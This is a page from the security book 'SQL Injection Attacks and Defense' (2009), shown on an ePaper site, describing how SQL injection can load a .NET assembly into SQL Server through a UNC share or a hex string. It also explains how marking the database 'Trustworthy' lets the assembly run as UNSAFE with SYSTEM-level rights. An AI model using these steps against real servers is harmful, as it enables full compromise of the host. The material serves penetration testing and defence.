28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

308 Chapter 6 • Exploiting the Operating System<br />

■■<br />

■■<br />

Load the executable from a UNC share:<br />

1. Create the DLL (or EXE) on a publicly accessible Windows share.<br />

2. Call CREATE ASSEMBLY FOO from \\public_server\temp\foo.dll.<br />

Create the executable from a passed string:<br />

1. Create an executable.<br />

2. Unpack the executable into HEX:<br />

File.open("moo.dll","rb").read().unpack("H*")<br />

["4d5a90000300000004000000ffff0……]<br />

3. Call CREATE ASSEMBLY MOO from 0x4d5a90000300000004000000ffff0.<br />

The question that remains is what level of trust is given to these executables, considering<br />

the robust trust levels afforded through .NET. A full discussion of the .NET trust levels is<br />

beyond the scope of this book, but for completeness they are as follows:<br />

■■ SAFE:<br />

■■ Perform calculations<br />

■■ No access to external resources<br />

■■<br />

■■<br />

EXTERNAL_ACCESS:<br />

■■ Access to the disk<br />

■■ Access to the environment<br />

■■ Almost full access with some restrictions<br />

UNSAFE:<br />

■■ Equivalent of full trust<br />

■■ Call unmanaged code<br />

■■ Do anything as SYSTEM<br />

Our goal would obviously be to be able to load a binary as UNSAFE. To do this,<br />

however, requires that our binary be signed during development <strong>and</strong> that our key be trusted<br />

to the database. This would seem like too much of a mission to overcome through injection,<br />

but we are afforded a way out, since we can simply set the database to “Trustworthy” to<br />

bypass this limitation.<br />

This allows us to create a .NET binary with no limitations <strong>and</strong> then import it into the<br />

system with permission set to UNSAFE (see Figure 6.22).

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!